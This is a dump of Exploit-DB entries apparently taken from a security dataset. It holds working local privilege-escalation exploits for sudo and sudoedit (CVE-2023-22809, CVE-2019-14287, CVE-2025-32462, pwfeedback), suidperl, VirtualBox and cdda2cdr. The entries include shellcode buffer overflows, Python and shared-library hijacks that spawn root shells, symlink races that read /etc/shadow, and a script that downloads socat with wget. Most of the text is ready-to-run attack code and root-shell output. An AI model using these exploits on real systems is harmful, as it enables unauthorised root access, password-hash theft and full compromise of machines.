deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27057
Description: Sudo 1.6.x - Environment Variable Handling Security Bypass (2)
Type: local
Platform: linux
Date: 2006-01-09
Author: Breno Silva Pinto

Exploit:
source: https://www.securityfocus.com/bid/16184/info
 
Sudo is prone to a security-bypass vulnerability that could lead to arbitrary code execution. This issue is due to an error in the application when handling environment variables.
 
A local attacker with the ability to run Python scripts can exploit this vulnerability to gain access to an interactive Python prompt. That attacker may then execute arbitrary code with elevated privileges, facilitating the complete compromise of affected computers.
 
An attacker must have the ability to run Python scripts through Sudo to exploit this vulnerability.
 
This issue is similar to BID 15394 (Sudo Perl Environment Variable Handling Security Bypass Vulnerability). 

## Sudo local root escalation privilege ##
## vuln versions :  sudo < 1.6.8p10
## adv : https://www.securityfocus.com/bid/16184
## by breno - breno at kalangolinux dot org

## You need sudo access execution for some python script ##


## First look sudoers file. User 'breno' can execute expl_python_sudo.py script

breno  ~ $ -> cat /etc/sudoers

breno   ALL=(ALL) /home/breno/expl_python_sudo.py

## Second, see our simple PoC python script

breno  ~ $ -> cat /home/breno/expl_python_sudo.py
#!/usr/bin/python
import sys
import socket
import os

print "Python Sudo Exploit"
exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
exp.close()
breno  ~ $ ->

## Sexy !! Do nothing :)

## Ok. What you need to do to get root is hijacking socket.py module , change close()
function to execute something and
## change PYTHONPTAH env.

breno  ~ $ -> cp /usr/lib/python2.3/socket.py /home/breno/

breno  ~ $ -> vi /home/breno/socket.py
...
import os
...
def close(self):
os.execl("/bin/sh","/bin/ah");
self._sock = _closedsocket()
self.send = self.recv = self.sendto = self.recvfrom = self._sock._dummy
close.__doc__ = _realsocket.close.__doc__
...

## Ok .. save it and export env

breno  ~ $ -> export PYTHONPATH=/home/breno

## .. and execute script. Too much sexy !!!

breno  ~ $ -> sudo /home/breno/expl_python_sudo.py
Python Sudo Exploit
root  ~ # -> id
uid=0(root) gid=0(root) grupos=0(root)
root  ~ # ->
Exploit-DB #51217
Description: sudo 1.8.0 to 1.9.12p1 - Privilege Escalation
Type: local
Platform: linux
Date: 2023-04-03
Author: n3m1.sys

Exploit:
#!/usr/bin/env bash

# Exploit Title: sudo 1.8.0 to 1.9.12p1 - Privilege Escalation
# Exploit Author: n3m1.sys
# CVE: CVE-2023-22809
# Date: 2023/01/21
# Vendor Homepage: https://www.sudo.ws/
# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
# Version: 1.8.0 to 1.9.12p1
# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
#
# Git repository: https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc
#
# Running this exploit on a vulnerable system allows a localiattacker to gain 
# a root shell on the machine.
#
# The exploit checks if the current user has privileges to run sudoedit or 
# sudo -e on a file as root. If so it will open the sudoers file for the
# attacker to add a line to gain privileges on all the files and get a root 
# shell.

if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
    echo "> Currently installed sudo version is not vulnerable"
    exit 1
fi

EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)

if [ -z "$EXPLOITABLE" ]; then
    echo "> It doesn't seem that this user can run sudoedit as root"
    read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
    echo "> BINGO! User exploitable"
    echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
    echo "$( whoami ) ALL=(ALL:ALL) ALL"
    read -n 1 -s -r -p "Press any key to continue..."
    EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
    sudo su root
    exit 0
fi
Exploit-DB #37710
Description: Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) - 'Sudoedit' Unauthorized Privilege Escalation
Type: local
Platform: linux
Date: 2015-07-28
Author: daniel svartman

Exploit:
# Exploit Title: sudo -e - a.k.a. sudoedit -  unauthorized privilege escalation
# Date: 07-23-2015
# Exploit Author: Daniel Svartman
# Version: Sudo <=1.8.14
# Tested on: RHEL 5/6/7 and Ubuntu (all versions)
# CVE: CVE-2015-5602.

Hello,

I found a security bug in sudo (checked in the latest versions of sudo
running on RHEL and ubuntu) when a user is granted with root access to
modify a particular file that could be located in a subset of directories.

It seems that sudoedit does not check the full path if a wildcard is used
twice (e.g. /home/*/*/file.txt), allowing a malicious user to replace the
file.txt real file with a symbolic link to a different location (e.g.
/etc/shadow).

I was able to perform such redirect and retrieve the data from the
/etc/shadow file.

In order for you to replicate this, you should configure the following line
in your /etc/sudoers file:

<user_to_grant_priv> ALL=(root) NO[CREDENTIAL_REDACTED] /home/*/*/test.txt

Then, logged as that user, create a subdirectory within its home folder
(e.g. /home/<user_to_grant_priv>/newdir) and later create a symbolic link
inside the new folder named test.txt pointing to /etc/shadow.

When you run sudoedit /home/<user_to_grant_priv>/newdir/test.txt you will
be allowed to access the /etc/shadow even if have not been granted with
such access in the sudoers file.

I checked this against fixed directories and files (not using a wildcard)
and it does work with symbolic links created under the /home folder.
Exploit-DB #48052
Description: Sudo 1.8.25p - 'pwfeedback' Buffer Overflow
Type: local
Platform: linux
Date: 2020-02-06
Author: Dylan Katz

Exploit:
#!/bin/bash
# We will need socat to run this.
if [ ! -f socat ];
then
    wget https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat
    chmod +x socat
fi

cat <<EOF > xpl.pl
\$buf_sz = 256;
\$askpass_sz = 32;
\$signo_sz = 4*65;
\$tgetpass_flag = "\x04\x00\x00\x00" . ("\x00"x24);
print("\x00\x15"x(\$buf_sz+\$askpass_sz) .
     ("\x00\x15"x\$signo_sz) .
     (\$tgetpass_flag) . "\x37\x98\x01\x00\x35\x98\x01\x00\x35\x98\x01\x00\xff\xff\xff\xff\x35\x98\x01\x00\x00\x00\x00\x00".
     "\x00\x00\x00\x00\x00\x15"x104 . "\n");
EOF

cat <<EOF > exec.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
        printf("Exploiting!\n");
        int fd = open("/proc/self/exe", O_RDONLY);
        struct stat st;
        fstat(fd, &st);
        if (st.st_uid != 0)
        {
                fchown(fd, 0, st.st_gid);
                fchmod(fd, S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
        }
        else
        {
                setuid(0);
                execve("/bin/bash",NULL,NULL);
        }
return 0;
}
EOF
cc -w exec.c -o /tmp/pipe
./socat pty,link=/tmp/pty,waitslave exec:"perl xpl.pl"&
sleep 0.5
export SUDO_ASKPASS=/tmp/pipe
sudo -k -S id < /tmp/pty
/tmp/pipe
Exploit-DB #47502
Description: sudo 1.8.27 - Security Bypass
Type: local
Platform: linux
Date: 2019-10-15
Author: Mohin Paramasivam

Exploit:
# Exploit Title : sudo 1.8.27 - Security Bypass
# Date : 2019-10-15
# Original Author: Joe Vennix
# Exploit Author : Mohin Paramasivam (Shad0wQu35t)
# Version : Sudo <1.8.28
# Tested on Linux
# Credit : Joe Vennix from Apple Information Security found and analyzed the bug
# Fix : The bug is fixed in sudo 1.8.28
# CVE : 2019-14287

'''Check for the user sudo permissions

sudo -l 

User hacker may run the following commands on kali:
    (ALL, !root) /bin/bash


So user hacker can't run /bin/bash as root (!root)


User hacker sudo privilege in /etc/sudoers

# User privilege specification
root    ALL=(ALL:ALL) ALL

hacker ALL=(ALL,!root) /bin/bash


With ALL specified, user hacker can run the binary /bin/bash as any user

EXPLOIT: 

sudo -u#-1 /bin/bash

Example : 

hacker@kali:~$ sudo -u#-1 /bin/bash
root@kali:/home/hacker# id
uid=0(root) gid=1000(hacker) groups=1000(hacker)
root@kali:/home/hacker#

Description :
Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
-u#-1 returns as 0 which is root's id

and /bin/bash is executed with root permission
Proof of Concept Code :

How to use :
python3 sudo_exploit.py

'''


#!/usr/bin/python3

import os

#Get current username

username = input("Enter current username :")


#check which binary the user can run with sudo

os.system("sudo -l > priv")


os.system("cat priv | grep 'ALL' | cut -d ')' -f 2 > binary")

binary_file = open("binary")

binary= binary_file.read()

#execute sudo exploit

print("Lets hope it works")

os.system("sudo -u#-1 "+ binary)
Exploit-DB #52354
Description: Sudo 1.9.17 Host Option - Elevation of Privilege
Type: local
Platform: linux
Date: 2025-07-08
Author: Rich Mirch

Exploit:
# Exploit Title: Sudo 1.9.17 Host Option - Elevation of Privilege
# Date: 2025-06-30
# Exploit Author: Rich Mirch
# Vendor Homepage: https://www.sudo.ws
# Software Link: https://www.sudo.ws/dist/sudo-1.9.17.tar.gz
# Version: Stable 1.9.0 - 1.9.17, Legacy 1.8.8 - 1.8.32
# Fixed in: 1.9.17p1
# Vendor Advisory: https://www.sudo.ws/security/advisories/host_any
# Blog:
https://www.stratascale.com/vulnerability-alert-CVE-2025-32462-sudo-host
# Tested on: Ubuntu 24.04.1; Sudo 1.9.15p5, macOS Sequoia 15.3.2; Sudo
1.9.13p2
# CVE : CVE-2025-32462
#
No exploit is required. Executing a sudo or sudoedit command with the host
option referencing an unrelated remote host rule causes Sudo to treat the
rule as valid for the local system. As a result, any command allowed by the
remote host rule can be executed on the local machine.

Example /etc/sudoers file using the Host_Alias directive. The lowpriv user
is allowed to execute all commands (full root) on dev.test.local,
ci.test.local, but not prod.test.local.

Host_Alias     SERVERS        = prod.test.local, dev.test.local
Host_Alias     PROD           = prod.test.local
lowpriv          SERVERS, !PROD = NOPASSWD:ALL
lowpriv           ci.test.local  = NOPASSWD:ALL

Even though the prod.test.local server is explicitly denied for the lowpriv
user, root access is achieved by specifying the host option for the
dev.test.local or ci.test.local servers.

Example

Show that lowpriv is not allowed to execute sudo on the prod server.

lowpriv@prod:~$ id
uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv)
lowpriv@prod:~$ sudo -l
[sudo] password for lowpriv:
Sorry, user lowpriv may not run sudo on prod.

List the host rules for the dev.test.local server.

lowpriv@prod:~$ sudo -l -h dev.test.local
Matching Defaults entries for lowpriv on dev:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User lowpriv may run the following commands on dev:
    (root) NOPASSWD: ALL

Execute a root shell on prod.test.local by specifying the -h dev.test.local
option.

lowpriv@prod:~$ sudo -h dev.test.local -i
sudo: a remote host may only be specified when listing privileges.
root@prod:~# id
uid=0(root) gid=0(root) groups=0(root)
Exploit-DB #319
Description: sudo.bin - NLSPATH Privilege Escalation
Type: local
Platform: linux
Date: 1996-02-13
Author: _Phantom_

Exploit:
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_SUDO "/usr/bin/sudo.bin"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
  __asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   int i;
   int ofs = DEFAULT_OFFSET;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;

   /* fill start of buffer with nops */

   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);

   /* stick asm code into the buffer */

   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;

   printf("SUDO.BIN exploit coded by _PHANTOM_ 1997\n");
   setenv("NLSPATH",buff,1);
   execl(PATH_SUDO, "sudo.bin","bash", NULL);
}



// milw0rm.com [1996-02-13]
Exploit-DB #470
Description: SudoEdit 1.6.8 - Local Change Permission
Type: local
Platform: linux
Date: 2004-09-21
Author: Angelo Rosiello

Exploit:
/*

       Copyright © Rosiello Security 2004
            http://www.rosiello.org

                 sudoedit Exploit


SOFTWARE : sudoedit 
REFERENCE: http://www.sudo.ws/sudo/alerts/sudoedit.html
DATE: 18/09/2004

Summary:
A flaw in exists in sudo's -u option (aka sudoedit) 
in sudo version 1.6.8 that can give an attacker 
read permission to a file that would otherwise be 
unreadable.

Sudo versions affected:
1.6.8 only

Credit: 
Reznic Valery discovered the problem. 

-----------------------------------------------------------

All the information that you can find in this software  
were published for educational and didactic purpose only.
The author published this program under the condition 
that is not in the intention of the reader to use them 
in order to bring to himself or others a profit or to bring 
to others damage.

!Respect the law!

How do I use this code ?

To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.

EXAMPLE SCENARIO:

1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.

The file "rosiello" is now a copy of "/etc/shadow".

AUTHOR : Angelo Rosiello
CONTACT: angelo rosiello org

*/

#include <stdio.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <dirent.h>


int main( int argc, char *argv[] )
{    
    char PATH[]="/usr/tmp";
    char file[32];
       DIR *tmp;
       struct dirent *de;
       tmp = opendir ( PATH );
    int found = 0;
    
    printf( "Copyright Â© Rosiello Security 2004\n" );
    printf( "http://www.rosiello.org\n" );

    if( argc!=2 )
    {
        printf( "USAGE: %s file\n", argv[0] );
        return( 0 );
    }


    while ( (de = readdir ( tmp ))!= NULL )
    {
        if ( (strstr(de->d_name, "rosiello") != NULL) )
           {
            if( strlen(de->d_name) > 24 ) return( 0 ); 
            sprintf( file, "%s/%s", PATH, (char *)de->d_name );
            remove( file );
            if( fork()!=0 )
            {
                execl( "/bin/ln", "ln", "-s", argv[1], file, NULL ); 
            }
            wait( );
            printf( "Now you can close sudoedit and reopen rosiello!\n" );
            found=1;
            goto end;
        
        }
        
       }
    end:
    closedir( tmp );
    
    if( !found ) 
        printf( "File Not Found!\n" );
    return( 0 );
    
}


// milw0rm.com [2004-09-21]
Exploit-DB #22055
Description: SUIDPerl 5.6 - Information Disclosure
Type: local
Platform: linux
Date: 2002-11-29
Author: zen-parse

Exploit:
source: https://www.securityfocus.com/bid/6282/info

An information disclosure vulnerability has been reported for SuidPerl. Reportedly, it is possible for an attacker to determine whether files exist in non-accessible directories.

An attacker can exploit this vulnerability by invoking suidperl with an absolute filename to determine whether the file exists. When run in this manner, suidperl will return with a message that confirms the existence of a file.

bash-2.04$ ls -ald /root
drwxr-x--- 66 root root 8192 Nov 29 16:00 /root
bash-2.04$ id
uid=500(evil) gid=500(evil) groups=500(evil)
bash-2.04$ ls /root/.bashrc
ls: /root/.bashrc: Permission denied
bash-2.04$ suidperl /root/.bashrc
Script is not setuid/setgid in suidperl
bash-2.04$ suidperl /root/nonexistantfile
Can't open perl script "/root/nonexistantfile": No such file or directory
Exploit-DB #320
Description: suid_perl 5.001 - Command Execution
Type: local
Platform: linux
Date: 1996-06-01
Author: Jon Lewis

Exploit:
#!/usr/bin/suidperl -U
$ENV{PATH}="/bin:/usr/bin";
$>=0;$<=0;
exec("/bin/bash");


# milw0rm.com [1996-06-01]
Exploit-DB #21259
Description: Sun Java Virtual Machine 1.2.2/1.3.1 - Segmentation Violation
Type: local
Platform: linux
Date: 2002-01-30
Author: Taeho Oh

Exploit:
source: https://www.securityfocus.com/bid/3992/info

Java programs run in an intepreted environment, the Java Virtual Machine (JVM). Sun has provided a reference JVM implementation for multiple platforms, including Solaris, Windows and Linux.

It is possible for a maliciously constructed, valid java program to crash the Sun JVM. This may result in a denial of service attack in a shared environment. The ability to consistantly exploit this vulnerability has been demonstrated on the Linux version of the Sun JVM.

public class CrashMe
{
    public static void main(String[] args)
    {
        java.security.AccessController.doPrivileged
        ((java.security.PrivilegedAction)null);
    }
}
Exploit-DB #32848
Description: Sun xVM VirtualBox 2.0/2.1 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2009-03-10
Author: Sun Microsystems

Exploit:
source: https://www.securityfocus.com/bid/34080/info

Sun xVM VirtualBox is prone to a local privilege-escalation vulnerability.

An attacker can exploit this vulnerability to run arbitrary code with superuser privileges.

The following versions for the Linux platform are vulnerable:

Sun xVM VirtualBox 2.0
Sun xVM VirtualBox 2.1 

$ id -u
1002

$ cat test.c
#include <unistd.h>
#include <sys/syscall.h>
__attribute__((constructor))
void awesome(void)
{
        char *argv[] = { "sh", NULL };
        extern char *environ;
        syscall(SYS_setuid, 0);
        syscall(SYS_execve, "/bin/sh", argv, environ);
}

$ gcc -Wall test.c -fPIC -shared -o libdl.so.2 -Wl,-soname,libdl.so.2

$ ls -l /opt/VirtualBox/VirtualBox
-r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 /opt/VirtualBox/VirtualBox

$ ln /opt/VirtualBox/VirtualBox

$ ls -l VirtualBox
-r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 VirtualBox

$ ./VirtualBox
./VirtualBox: /home/vapier/libdl.so.2: no version information available
(required by ./VirtualBox)
sh-4.0# whoami
root
Exploit-DB #20781
Description: SuSE 7.0 - KFM Insecure '.TMP' File Creation
Type: local
Platform: linux
Date: 2001-04-18
Author: Paul Starzetz

Exploit:
source: https://www.securityfocus.com/bid/2629/info

KFM is the KDE File Manager, included with version 1 of the KDE base package in most Linux installations. KFM is designed as a graphical, easily navigated interface to the Linux Filesystem.

A problem with KFM could allow the overwriting of files owned by the KFM user. KFM insecurely creates a directory to store it's cache contents. Prior to creation, the existance of this directory, which is predictable in name, is not checked. Additionally, permissions are also not checked. Files beneath the directory can be created as symbolic links, making it possible to overwrite linked files.

This vulnerability makes it possible for a local user to overwrite and corrupt files owned by the KFM user. 

root@ps:/tmp/kfm-cache-500 > ls -la
drwxrwxrwx 2 rws uboot 4096 Apr 18 21:18 .
drwxrwxrwt 15 root root 770048 Apr 18 21:16 ..
lrwxrwxrwx 1 rws uboot 18 Apr 18 21:18 index.html ->
/home/paul/.bashrc
-rw-r--r-- 1 rws uboot 0 Apr 18 21:16 index.txt

root@ps:/tmp/kfm-cache-500 > ls -la /home/paul/.bashrc
-rw-r--r-- 1 paul users 1458 Jan 23 13:56
/home/paul/.bashrc


and after running kfm as user 500:

root@ps:/tmp/kfm-cache-500 > ls -la /home/paul/.bashrc
-rw-r--r-- 1 paul users 271 Apr 18 21:19
/home/paul/.bashrc
Exploit-DB #19565
Description: SuSE Linux 6.1/6.2 - 'cwdtools' Local Overflow / Local Privilege Escalation
Type: local
Platform: linux
Date: 1999-10-22
Author: Brock Tellier

Exploit:
#!/bin/sh
#source: https://www.securityfocus.com/bid/738/info
#
#cdwtools is a package of utilities for cd-writing. The linux version of these utilities, which ships with S.u.S.E linux 6.1 and 6.2, is vulnerable to several local root #compromises. It is known that there are a number of ways to exploit these packages, including buffer overflows and /tmp symlink attacks. 
#
#--- cdda2x.sh ---
#!/bin/sh
#
# Shell script for Linux x86 cdda2cdr exploit
# Brock Tellier btellier@usa.net
#

cat > /tmp/cdda2x.c <<EOF

/**
 ** Linux x86 exploit for /usr/bin/cdda2cdr (sgid disk on some Linux distros)

 ** gcc -o cdda2x cdda2x.c; cdda2x <offset> <bufsiz>
 ** 
 ** Brock Tellier btellier@usa.net 
 **/


#include <stdlib.h>
#include <stdio.h>

char exec[]= /* Generic Linux x86 running our /tmp program */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/tmp/cd";



#define LEN 500
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}


void main(int argc, char *argv[]) {

int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
 exit(0);
 }
 else if (argc == 2){
   offset=atoi(argv[1]);

 }
 else if (argc == 3) {
   offset=atoi(argv[1]);
   buflen=atoi(argv[2]);

 }
 else {
   offset=500;
   buflen=500;

 }


addr=get_sp();

fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
 *(int *)&buf[i]=addr+offset;

execl("/usr/bin/cdda2cdr", "cdda2cdr", "-D", buf, NULL);


/*
for (i=0; i < strlen(buf); i++) putchar(buf[i]);
*/

}

EOF

cat > /tmp/cd.c <<EOF
void main() { 
    setregid(getegid(), getegid());
    system("/bin/bash");
}
EOF

gcc -o /tmp/cd /tmp/cd.c
gcc -o /tmp/cdda2x /tmp/cdda2x.c
echo "Note that gid=6 leads to easy root access.."
/tmp/cdda2x